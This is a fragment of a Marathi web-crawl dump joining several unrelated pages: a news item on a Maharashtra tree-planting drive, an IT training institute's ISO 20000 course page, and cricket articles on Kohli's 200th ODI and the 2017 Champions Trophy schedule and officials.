हिस्ट्री ऑफ मॅन्ग्रोव्हज” पुस्तकांचे प्रकाशनही करण्यात आले.\nयावेळी मुख्यमंत्री व इतर मान्यवरांच्या हस्ते बायकर्स रॅलीला हिरवा झेंडा दाखविण्यात आला. २२ बायकर्स हे वृक्षारोपणाचा संदेश देत राज्यातील जिल्ह्यांतून फिरणार असून ७ तारखेस ठाणे येथे समारोप होणार आहे.\nआजच्या मोहिमेच्या शुभारंभ प्रसंगी आमदार मंदा म्हात्रे, संदीप नाईक, गणपत गायकवाड, मुख्य सचिव सुमित मल्लिक, श्रीमती सपना मुनगंटीवार, महापौर सुधाकर सोनवणे आदींची उपस्थिती होती. वन विभागाचे सचिव विकास खारगे यांनी यावेळी आभार मानले.\nई सकाळवरील ताज्या बातम्यांसाठी क्लिक करा -\n12 सिंहांच्या गराड्यात तिने दिला बाळाला जन्म\nशेतकरी विधवा महिलांनी काढली मुख्यमंत्र्यांची अंत्ययात्रा\nमारुतीच्या मोटारी 3 टक्क्यांनी स्वस्त\nमेस्सी बालपणीच्या मैत्रिणीसोबत विवाहबंधनात\nअनंतनाग: सुरक्षारक्षक व दहशतवाद्यांमध्ये चकमक\n'जीएसटी' देशभरात लागू; संसदेत ऐतिहासिक सोहळा​\n'जीएसटी': सामान्य माणसास अल्पकाळ बोचणारा\nधुळ्यातील शेतकऱ्यांनी कमी खर्चात तयार केले मोटरसायकलचे कोळपे​\nधुळे जिल्ह्यात भावी शिक्षकांची 'डीएड'कडे पाठ\nअसाही एक शिक्षणाच्या भक्तीचा मार्ग (वारीच कोंदण)​\nभारताचा विंडीजवर 93 धावांनी विजय; मालिकेत 2-0 ने आघाडी​\n‘सीएम’चा ‘पिंपळ’ बकरीने खाल्ला​\n'जीएसटी'ला तमाशाचे स्वरूप : राहुल गांधी​\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nबीड : महाराष्ट्र, कर्नाटक व मध्यप्रदेश, उत्तरप्रदेश व राजस्थान या राज्यांतील अनेक जिल्ह्यांत भौतिक, आर्थिक व औद्योगिक विकासाला चालना मिळण्यासाठी...\nशरद पवारांनी सोडविली दोन वाहिन्यांमधील 'कुस्ती'\nपुणे- कुस्ती स्पर्धा भरविण्यावरुन दोन मराठी वाहिन्यांमध्ये सुरु असलेल्या वादावर शरद पवार यांनी मध्यस्थी केली आहे. या दोन्ही वाहिन्यांनी कुस्तीगीर...\nबीडमध्ये घर परवान्यावर शाळा बांधकाम ; गुन्हा दाखल\nबीड : नगर पालिकेकडून घराच्या बांधकामाचा परवाना घेऊन शहरातील अजिजपुरा भागात शाळेचे बांधकाम केल्याचे स्वच्छता विभागाच्या पाहणीत समोर आले आहे....\nतेरा दिवसात पती-पत्नीचा स्वाईन फ्लुमळे मृत्यु\nउरुळी कांचन : उरुळी कांचन (ता. हवेली) येथील प्रभावती वाल्मिक कांचन यांचे बारा दिवसांपुर्वी स्वाईन फ्लुमळे झालेल्या मृत्युचे दुःख अद्याप ताजे असतानाच...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00302.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://itstechschool.com/mr/course/iso-20000-practitioner/", "date_download": "2018-09-25T17:18:33Z", "digest": "sha1:STKTZIWXSH33MKMJ2ZTFQL65ZYKUVBFN", "length": 37362, "nlines": 515, "source_domain": "itstechschool.com", "title": "आयएसओ 20000 प्रॅक्टीशनिंग ट्रेनिंग कोर्स अँड सर्टिफिकेशन - आयटीएस टेक स्कूल", "raw_content": "\nITIL सेवा धोरण (एसएस)\nITIL सेवा डिझाईन (एसडी)\nITIL सेवा संक्रमण (एसटी)\nITIL सेवा ऑपरेशन (SO)\nप्रमाणित नेटवर्क डिफेंडर (सीएनडी)\nECSA v10 (EC-Council प्रमाणित सुरक्षा विश्लेषक)\nएलपीटी (परवानाधारक प्रवेश ट्रस्टर)\nEC-Council प्रमाणित सुरक्षित प्रोग्रामर (ECSP.net)\nसंगणक हॅकिंग फॉरेंसिक इन्व्हेस्टिगेटर (सीएचएफआय)\nEC- परिषद आपत्ती पुनर्प्राप्ती व्यावसायिक (EDRP)\nईसी-कौन्सिल सिक्युरिटेड सिक्युरिटी स्पेशालिस्ट (ईसीएसएस)\nईसी-कौन्सिल सर्टिफाईड इसादंड हॅन्डलर (ECIH)\nईसी-कौन्सिल सर्टिफाईड एन्क्रिप्शन स्पेशलिस्ट (ईसीईएस)\nईसी-कौन्सिलचे प्रमाणित मुख्य माहिती सुरक्षा अधिकारी (सी | सीआयएसओ)\nEC-Council प्रमाणित सुरक्षित प्रोग्रामर (जावा)\nप्रमाणित सुरक्षित संगणक वापरकर्ता (CSCU)\nकास्ट 612 प्रगत मोबाइल Forensics आणि सुरक्षा\nCAST 613 हॅन्डिंग आणि हार्डनिंग कॉर्पोरेट वेब अॅप / वेब साइट\nCAST 614 प्रगत नेटवर्क संरक्षण\nCAST 616 संरक्षित विंडोज इन्फ्रास्ट्रक्चर\nBlueCat सुरक्षा आणि प्रगत कॉन्फिगरेशन\nआर्क साईट ईएसएम एक्सएक्सएक्स प्रगत विश्लेषक\nArcSight लॉगर प्रशासन आणि ऑपरेशन्स\nएचपी आर्क साईड ईएसएम 6.9 सुरक्षा प्रशासक\nचेक पॉईंट प्रमाणित सुरक्षा प्रशासक R80\nचेक पॉईंट प्रमाणित सुरक्षा विशेषज्ञ (सीसीएसई)\nसायबरओम प्रमाणित नेटवर्क व सुरक्षा तज्ञ\nसायबरओम प्रमाणित नेटवर्क आणि सुरक्षा व्यावसायिक (CCNSP)\nट्रेंड मायक्रो डीप डिस्कव्हरी\nट्रेंड मायक्रो डीप सुरक्षा स्कॅन\nट्रेंड मायक्रो ऑफिस स्कॅन\nTRITON एपी-डेटा प्रशासक अभ्यासक्रम\nTRITON एपी-EMAIL प्रशासक कोर्स\nमास्टर ट्रेनर अँड फॅसिलिटेटर (एमटीएफ)\nप्रगत प्रशिक्षण तंत्रांवर प्रमाणन (सीएटीटी)\nसर्टिफाईड सायकोमेट्रिक टेस्ट प्रोफेशनल (सीपीटीपी)\nप्रमाणित कार्यप्रदर्शन आणि क्षमता विकासक (सीपीसीडी)\nएचआर एनालिटिक्समध्ये प्रमाणित व्यावसायिक (सीएएमपी)\nप्रमाणित संस्थात्मक विकास विश्लेषक (सीओडीए)\nप्रमाणन भरती विश्लेषक (सीआरए)\nप्रमाणित OD हस्तक्षेप व्यावसायिक (CODIP)\nप्रमाणित बॅलन्स स्कोर कार्ड प्रोफेशनल (CBSCP)\nप्रमाणित कार्यकारी आणि जीवन प्रशिक्षक (सीएलसी)\nप्रमाणित एचआर बिझिनेस पार्टनर (सीएचआरबीपी)\nप्रमाणित प्रशिक्षणात्मक डिझायनर (सीआयडी)\nप्रमाणित शिक्षण आणि विकास व्यवस्थापक (सीएलडीएम)\nएचपी सॉफ्टवेअर ऑटोमेशन चाचणी\nRanorex v8.x (प्रगत मूलभूत)\nAWS प्रशिक्षण वर आर्किटेक्चिंग\nAWS तांत्रिक आवश्यकता प्रशिक्षण\nएसीआय मोड v9000 मध्ये सिस्को नेक्सस 2.0 स्विचचे कॉन्फीस करणे\nCCNA मार्गक्रमण आणि स्विचिंग v3.0\nसीसीएनपी रूटिंग व स्विचिंग\nपूर्वी कालखंड रेखांकित सह सेलेनियम\nITIL सेवा धोरण (एसएस)\nITIL सेवा डिझाईन (एसडी)\nITIL सेवा संक्रमण (एसटी)\nITIL सेवा ऑपरेशन (SO)\nप्रमाणित नेटवर्क डिफेंडर (सीएनडी)\nECSA v10 (EC-Council प्रमाणित सुरक्षा विश्लेषक)\nएलपीटी (परवानाधारक प्रवेश ट्रस्टर)\nEC-Council प्रमाणित सुरक्षित प्रोग्रामर (ECSP.net)\nसंगणक हॅकिंग फॉरेंसिक इन्व्हेस्टिगेटर (सीएचएफआय)\nEC- परिषद आपत्ती पुनर्प्राप्ती व्यावसायिक (EDRP)\nईसी-कौन्सिल सिक्युरिटेड सिक्युरिटी स्पेशालिस्ट (ईसीएसएस)\nईसी-कौन्सिल सर्टिफाईड इसादंड हॅन्डलर (ECIH)\nईसी-कौन्सिल सर्टिफाईड एन्क्रिप्शन स्पेशलिस्ट (ईसीईएस)\nईसी-कौन्सिलचे प्रमाणित मुख्य माहिती सुरक्षा अधिकारी (सी | सीआयएसओ)\nEC-Council प्रमाणित सुरक्षित प्रोग्रामर (जावा)\nप्रमाणित सुरक्षित संगणक वापरकर्ता (CSCU)\nकास्ट 612 प्रगत मोबाइल Forensics आणि सुरक्षा\nCAST 613 हॅन्डिंग आणि हार्डनिंग कॉर्पोरेट वेब अॅप / वेब साइट\nCAST 614 प्रगत नेटवर्क संरक्षण\nCAST 616 संरक्षित विंडोज इन्फ्रास्ट्रक्चर\nBlueCat सुरक्षा आणि प्रगत कॉन्फिगरेशन\nआर्क साईट ईएसएम एक्सएक्सएक्स प्रगत विश्लेषक\nArcSight लॉगर प्रशासन आणि ऑपरेशन्स\nएचपी आर्क साईड ईएसएम 6.9 सुरक्षा प्रशासक\nचेक पॉईंट प्रमाणित सुरक्षा प्रशासक R80\nचेक पॉईंट प्रमाणित सुरक्षा विशेषज्ञ (सीसीएसई)\nसायबरओम प्रमाणित नेटवर्क व सुरक्षा तज्ञ\nसायबरओम प्रमाणित नेटवर्क आणि सुरक्षा व्यावसायिक (CCNSP)\nट्रेंड मायक्रो डीप डिस्कव्हरी\nट्रेंड मायक्रो डीप सुरक्षा स्कॅन\nट्रेंड मायक्रो ऑफिस स्कॅन\nTRITON एपी-डेटा प्रशासक अभ्यासक्रम\nTRITON एपी-EMAIL प्रशासक कोर्स\nमास्टर ट्रेनर अँड फॅसिलिटेटर (एमटीएफ)\nप्रगत प्रशिक्षण तंत्रांवर प्रमाणन (सीएटीटी)\nसर्टिफाईड सायकोमेट्रिक टेस्ट प्रोफेशनल (सीपीटीपी)\nप्रमाणित कार्यप्रदर्शन आणि क्षमता विकासक (सीपीसीडी)\nएचआर एनालिटिक्समध्ये प्रमाणित व्यावसायिक (सीएएमपी)\nप्रमाणित संस्थात्मक विकास विश्लेषक (सीओडीए)\nप्रमाणन भरती विश्लेषक (सीआरए)\nप्रमाणित OD हस्तक्षेप व्यावसायिक (CODIP)\nप्रमाणित बॅलन्स स्कोर कार्ड प्रोफेशनल (CBSCP)\nप्रमाणित कार्यकारी आणि जीवन प्रशिक्षक (सीएलसी)\nप्रमाणित एचआर बिझिनेस पार्टनर (सीएचआरबीपी)\nप्रमाणित प्रशिक्षणात्मक डिझायनर (सीआयडी)\nप्रमाणित शिक्षण आणि विकास व्यवस्थापक (सीएलडीएम)\nएचपी सॉफ्टवेअर ऑटोमेशन चाचणी\nRanorex v8.x (प्रगत मूलभूत)\nAWS प्रशिक्षण वर आर्किटेक्चिंग\nAWS तांत्रिक आवश्यकता प्रशिक्षण\nएसीआय मोड v9000 मध्ये सिस्को नेक्सस 2.0 स्विचचे कॉन्फीस करणे\nCCNA मार्गक्रमण आणि स्विचिंग v3.0\nसीसीएनपी रूटिंग व स्विचिंग\nपूर्वी कालखंड रेखांकित सह सेलेनियम\nप्रथम साइन इन करा\nफक्त / कोणत्याही अभ्यासक्रमांमध्ये खरेदी नोंदणी करण्यापूर्वी एक खाते तयार करा.\nविनामूल्य एक खाते तयार करा\nसूचना: JavaScript ही सामग्री आवश्यक आहे.\nआयएसओ 20000 प्रॅक्टिशनर ट्रेनिंग कोर्स व सर्टिफिकेशन\nआयएसओ 20000 प्रॅक्टीशनर ट्रेनिंग कोर्स\nग्राहक त्यांच्या (अंतर्गत किंवा बाह्य) आयटी सेवा प्रदात्यांना विनंती करतात की ते आवश्यक सेवा गुणवत्ता प्रदान करण्यात सक्षम आहेत आणि त्यांच्याकडे योग्य व्यवस्थापन सेवा आहेत. प्रक्रियांवर आधारित, ISO / IEX20000 हा एक आंतरराष्ट्रीय मान्यताप्राप्त मानक आहे IT सेवा व्यवस्थापन जे एसएमएस प्रोसेसरची योजना, स्थापित करणे, अंमलबजावणी करणे, ऑपरेट करणे, मॉनिटर करणे, पुनरावलोकन करणे, देखरेख व सुधारणा करणे यासाठी आवश्यकता दर्शवते. मान्यतेनुसार सेवा आवश्यकता पूर्ण करण्यासाठी डिझाइन, संक्रमण, वितरण आणि सेवांमध्ये सुधारणा समाविष्ट आहे.\nISO / IEC20000 प्रमाणन नोंदणीकृत प्रमाणन संस्थांनी घेण्यात आलेल्या ऑडिट नंतर दिला जातो, जे सेवा पुरवठादार मानकांच्या आवश्यकतांनुसार आयटी सेवा व्यवस्थापन प्रणालीची रचना करतात, कार्यान्वयन करते आणि व्यवस्थापित करते याची खात्री करतात.\nहा कोर्स आयएसओ / आयईसी 20000 आणि त्याचा ऍप्लिकेशन्सी मिळवून देणाऱ्या ज्ञानाचा अभ्यास करणा-या सल्ल्यांचा विश्लेषण करण्यासाठी आणि भाग 1 च्या गरजेनुसार संघटनांना आधार देण्यास आणि आयएसओ / आयईसी 20000 प्रमाणीकरणासाठी आणि कायम राखण्यासाठी पुरेशी माहिती पुरविते. .\nअर्थात मानक (आयएसओ / आयईसी 20000-1: 2011) च्या दुसऱ्या आवृत्तीत समाविष्ट आहे जे प्रथम आवृत्ती (आयएसओ / आयईसी 20000-1: 2005) रद्द आणि बदलवते.\nमुख्य फरक खालीलपैकी काही आहेत:\nISO 9001 जवळ जवळ संरेखन\nISO / IEC 27001 जवळच्या संरेखणात\nआंतरराष्ट्रीय वापर प्रतिबिंबित करण्यासाठी परिभाषा बदलणे\nइतर पक्षांनी चालविलेल्या प्रक्रियांचं संचालन करण्यासाठी आवश्यकतेचे स्पष्टीकरण\nएसएमएसचा व्याप्ती स्पष्ट करण्यासाठी आवश्यकतेचे स्पष्टीकरण\nस्पष्टीकरण की पीडीसीएची कार्यपद्धती एसएमएसवर लागू होते, सेवा व्यवस्थापन प्रक्रिया आणि सेवांसह\nनवीन किंवा बदललेल्या सेवांचे डिझाइन आणि संक्रमण यासाठी नवीन आवश्यकतांची ओळख\nजे विद्यार्थी या अभ्यासक्रमास उपस्थित आहेत ते संबंधित आयएसओ / आयईसी 20000 प्रॅक्टिशनर प्रमाणन चाचणी यशस्वीरित्या घेण्यास तयार आहेत.\nयाचे उद्दिष्टISO 20000 प्रॅक्टिशनर ट्रेनिंग\nया कोर्सच्या शेवटी विद्यार्थ्याला सध्याच्या प्रमाणीकृत संस्थांच्या आत आयएसओ / आयईसी 20000 च्या सामग्रीचे विश्लेषण आणि लागू करण्यास सक्षम होईल किंवा प्रारंभिक प्रमाणपत्रांसाठी तयार करण्यात आलेल्या एसएमएसची अंमलबजावणी करण्यास इच्छुक असतील.\nविशेषत :, विद्यार्थी सक्षम असेल:\nहेतू समजून घ्या, वापरा आणि मानक 1, 2, 3 आणि 5 च्या अर्जाचा वापर करा\nआयएसओ / आयईसी 20000-1 आणि प्रमाणिकरणासाठी संघटनेच्या अनुरूपतेची यश मिळवण्यासाठी मदत करणे\nप्रयोज्यता, पात्रता आणि व्याप्ती व्याख्येनुसार समस्यांना समजावून सांगा आणि सल्ला द्या\nसामान्य वापर आणि संबंधित मानके मधील ISO / IEC 20000 आणि ITSM सर्वोत्तम पद्धतींमधील संबंध समजून घ्या आणि स्पष्ट करा\nभाग 1 ची आवश्यकता स्पष्ट करा आणि लागू करा\nएसएमएस अंमलबजावणी आणि सुधारणेसाठी, प्रमाणीकरणाच्या उपलब्धी आणि भाग 1 च्या अनुरूपतेचे सतत प्रदर्शन करण्यासाठी तंत्रज्ञान आणि साधनांचा वापर स्पष्ट करा.\nआयएसओ / आयईसी 20000 प्रमाणन योग्यता मूल्यांकनांमध्ये सल्ला द्या आणि सहाय्य करा\nसुधार आणि अंमलबजावणी योजनेद्वारे समर्थित अंतर विश्लेषण तयार करा\nसेवा व्यवस्थापन योजना समजून घ्या, तयार करा आणि लागू करा\nसतत सुधारणा प्रक्रिया अंमलबजावणीवर संस्था चालना व सल्ला देणे\nएपीएमजी सर्टिफिकेशन स्कीमच्या नियमांचा वापर करून आयएसओ / आयईसी एक्सएनएक्सएक्स प्रमाणीकरण ऑडिटसाठी संस्था तयार करा.\nISO 20000 प्रॅक्टीशनर कोर्ससाठीचे हेतू असलेले श्रोते\nही पात्रता आयएसओ / आयईसी 20000 वर आधारित सेवा व्यवस्थापन प्रणालीचे उत्पादन आणि / किंवा कार्यप्रणाली व्यवस्थापनात महत्त्वाची भूमिका निभावणार्या व्यावसायिक, व्यवस्थापक आणि सल्लागारांसाठी आहे.\nISO 20000 प्रॅक्टिशनर प्रमाणन साठी पूर्वापेक्षित\nआयटी सर्व्हिस मॅनेजमेंटच्या तत्त्वे आणि प्रक्रियांचे सहभागी ज्ञान असणे आवश्यक आहे.\nया क्षेत्रातील ज्ञानाचा आधार हा आहे की ते एका अभ्यासक्रमात विकत घेतले आहेतITIL® फाउंडेशनकिंवाआयएसओ / आयईसी 20000 फाउंडेशन.\nअधिक माहितीसाठी कृपया आमच्याशी संपर्क.\nधन्यवाद आणि तो एक आश्चर्यकारक आणि माहितीपूर्ण सत्र होता\nसखोल डोमेन ज्ञानाने उत्कृष्ट ट्रेनर चांगले प्रशिक्षण पायाभूत सुविधा.\nबदला आणि क्षमता व्यवस्थापक\nसेवा व्यवस्थापन प्रक्रिया लीड\nतो चांगला सत्र होता. ट्रेनर चांगला होता. मला शिकवण्याचा त्यांचा मार्ग आवडला.\nसुस्थापित आणि व्यवस्थित प्रशिक्षण\nखूप चांगले प्रशिक्षण आणि ज्ञानी ट्रेनर\nएरिक्सन ग्लोबल इंडिया प्रा. लि., गुडगाव\nएरिक्सन ग्लोबल इंडिया प्रा. लि., गुडगाव\nएरिक्सन ग्लोबल इंडिया प्रा. लि., गुडगाव\nविभाग 1आयएसओ / आयईसी 20000 मानक ओळख आणि पार्श्वभूमी\nविभाग 2ISOIEC 20000 प्रमाणन योजना\nविभाग 3आयटी सेवा व्यवस्थापन तत्त्वे\nविभाग 4आयएसओ / आयईसी 20000-1 (भाग 1) सेवा व्यवस्थापन प्रणाली आवश्यकता\nविभाग 5भाग 20000 च्या अर्जावर ISO / IEC 2-1 मार्गदर्शन\nविभाग 6आयएसओ / आयईसी 20000 प्रमाणन प्राप्त करणे\nविभाग 7आयएसओ / आयईसी 20000-3 वर आधारित उपयुक्तता, स्कोपिंग आणि पात्रता\nविभाग 8औपचारिक प्रमाणपत्रासाठी तयारी, पूर्ण आणि पाळत ठेवणे ऑडिट\nविभाग 9परीक्षा सराव आणि तयारी\nइनोव्हेटिव्ह टेक्नोलॉजी सोल्यूशन्स ही कंपनी आहे जी आयटी आणि व्यावसायिक कौशल्यांवर व्यक्तिगत, कॉर्पोरेट आणि महाविद्यालयांना प्रशिक्षण देते. प्रशिक्षणाखेरीज आयटीएसच्या कॉर्पोरेट प्रशिक्षण गरजांसाठी भारताच्या सर्व कॉर्पोरेट हबमध्ये प्रशिक्षण कक्ष उपलब्ध आहेत. पुढे वाचा\nनेहमी विचारले जाणारे प्रश्न च्या\nबी एक्सएक्सएक्स ए, दक्षिण सिटी एक्सएक्सएक्स, स्वाक्षरी टॉवर्स जवळ, गुडगाव, HR, भारत - 122001\nकॉपीराइट © 2017 - सर्व राखीव सुरक्षित - अभिनव तंत्रज्ञान सोल्युशन्स | गोपनीयता धोरण.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00302.warc.wet.gz", "language": "mr", "language_score": 0.84, "bucket": "all"} {"url": "https://mahasports.co.in/50-by-india-players-in-their-200th-odi/", "date_download": "2018-09-25T17:02:27Z", "digest": "sha1:XPNKKZV4JHQGGJBC57A724VA2B4BWSQL", "length": 6822, "nlines": 67, "source_domain": "mahasports.co.in", "title": "या विक्रमासह कोहली सामील झाला युवी, धोनीसारख्या दिग्गजांच्या यादीत -", "raw_content": "\nया विक्रमासह कोहली सामील झाला युवी, धोनीसारख्या दिग्गजांच्या यादीत\nया विक्रमासह कोहली सामील झाला युवी, धोनीसारख्या दिग्गजांच्या यादीत\n आघडीचे फलंदाज एकापाठोपाठ एक तंबूत जात असताना एका बाजूने किल्ला लढवणाऱ्या भारतीय कर्णधार विराट कोहलीने आज २००व्या वनडेत ५० धावा करून एक खास विक्रम आपल्या नावे केला आहे.\nकारकिर्दीतील २००व्या वनडेत ५० किंवा त्यापेक्षा अधिक धावा करणारा कोहली केवळ ४था भारतीय खेळाडू बनला आहे. आजपर्यंत भारताकडून १४ खेळाडू २०० वनडे खेळले आहेत. त्यात केवळ एमएस धोनी, युवराज सिंग आणि सुरेश रैना यांना ५० किंवा त्यापेक्षा अधिक धावा करता आल्या आहेत.\nविशेष म्हणजे भारतीय कर्णधाराने एका वर्षात १२ वेळा वनडेत ५० किंवा त्यापेक्षा अधिक धावा करण्याची ही पहिलीच वेळ आहे. कोहलीने मोहम्मद अझरुद्दीन (११) आणि एमएस धोनी यांचाही विक्रम मोडला आहे.\n२००व्या वनडेत अर्धशतकी खेळी करणारे भारतीय खेळाडू\nभारतीय कर्णधाराने एका वर्षात केलेल्या सर्वाधिक ५० किंवा त्यापेक्षा अधिक धावांच्या खेळी\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00302.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://mahasports.co.in/complete-list-of-match-officials-players-umpires-for-champions-trophy-engalnd-2017/", "date_download": "2018-09-25T17:01:51Z", "digest": "sha1:OQT67HW6O4WMAZBD6QJR636L42P7GHZV", "length": 11752, "nlines": 98, "source_domain": "mahasports.co.in", "title": "चॅम्पियन्स ट्रॉफीसाठीच्या सर्व संघाचे खेळाडू,प्रशिक्षक, समालोचक, पंच आणि सामनाधिकाऱ्यांची संपूर्ण यादी... -", "raw_content": "\nचॅम्पियन्स ट्रॉफीसाठीच्या सर्व संघाचे खेळाडू,प्रशिक्षक, समालोचक, पंच आणि सामनाधिकाऱ्यांची संपूर्ण यादी…\nचॅम्पियन्स ट्रॉफीसाठीच्या सर्व संघाचे खेळाडू,प्रशिक्षक, समालोचक, पंच आणि सामनाधिकाऱ्यांची संपूर्ण यादी…\nआयसीसी चॅम्पियन्स ट्रॉफीसाठी मधील सराव सामन्यांना २६ मे पासून तर मुख्य स्पर्धेला १ जून पासून सुरुवात होत आहे. यात भारताबरोबर अन्य सात देशांनीही भाग घेतला आहे. यावर्षी इंग्लंडमध्ये ८वी चॅम्पियन्स ट्रॉफीसाठी होत आहे. भारत गतविजेता असून आपलं विजेतेपद राखण्यासाठी उत्सुक आहे.\nस्पर्धा म्हटलं कि त्यात खेळाडूंबरोबरच बाकीही जबाबदाऱ्या येतात. त्यात जर स्पर्धा क्रिकेटची असेल आणि तीही क्रिकेटचा मिनी वर्ल्डकप अर्थात चॅम्पियन्स ट्रॉफीसाठी असेल तर लवाजमा मोठाच.\nया स्पर्धेत सामानाधिकारी म्हणून खालील अधिकारी जबाबदारी पार पडणार…\nडेविड बून, ख्रिस ब्रॉड आणि अँडी पयक्रॉफ्ट\nया स्पर्धेत पंच म्हणून खालील पंच जबाबदारी पार पडणार…\nमराईस इरॅसमसूस, अलीम दार, ख्रिस गफ्फानी, इयान गोल्ड, कुमार धर्मसेना, रिचर्ड केत्त्लेबोरफ, रिचर्ड ललिन्गओर्थ, रॉड टकर, निगेल ललॉन्ग, ब्रूस ओक्सइन्फोर्ड, पॉल रेइफ्फेल आणि भारताच्या सुंदरम रवी\nया स्पर्धेत समालोचक म्हणून खालील समालोचक जबाबदारी पार पडणार…\nरिकी पॉन्टिंग, ब्रॅडोन मॅक्क्युलम, कुमार संगकारा, ग्राम स्मिथ, सौरव गांगुली, शेन वॉर्न, मायकेल स्लेटर, नासिर हुसेन, मायकेल आथरटन, शॉन पॉलाक, संजय मांजरेकर, इयान बिशप, रमीझ राजा, सायमन डूल, अथर अली खान.\n१ जून – इंग्लंड विरुद्ध बांगलादेश (ओव्हल)\n२ जून – न्यूझीलंड विरुद्ध ऑस्ट्रेलिया (एजबॅस्टन)\n३ जून – श्रीलंका विरुद्ध दक्षिण आफ्रिका (ओव्हल)\n४ जून – भारत विरुद्ध पाकिस्तान (एजबॅस्टन)\n५ जून – ऑस्ट्रेलिया विरुद्ध बांगलादेश (ओव्हल)\n६ जून – इंग्लंड विरुद्ध न्यूझीलंड (कार्डीफ)\n७ जून – पाकिस्तान विरुद्ध दक्षिण आफ्रिका (एजबॅस्टन)\n८ जून – भारत विरुद्ध श्रीलंका (ओव्हल)\n९ जून – न्यूझीलंड विरुद्ध बांगलादेश (कार्डीफ)\n१० जून – इंग्लंड विरुद्ध ऑस्ट्रेलिया (एजबॅस्टन)\n११ जून – भारत विरुद्ध दक्षिण आफ्रिका (ओव्हल)\n१२ जून – श्रीलंका विरुद्ध पाकिस्तान (कार्डीफ)\n१४ जून – सेमीफायनल १ (कार्डीफ)\n१५ जून – सेमीफायनल २ (एजबॅस्टन)\n१८ जून – फायनल मॅच (ओव्हल)\nस्पर्धेसाठीचे दोन ग्रुप… .\nग्रुप ए : ऑस्ट्रेलिया, बांग्लादेश, इंग्लंड, न्यूझीलंड\nग्रुप बी : भारत, पाकिस्तान, द. आफ्रिका, श्रीलंका\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व 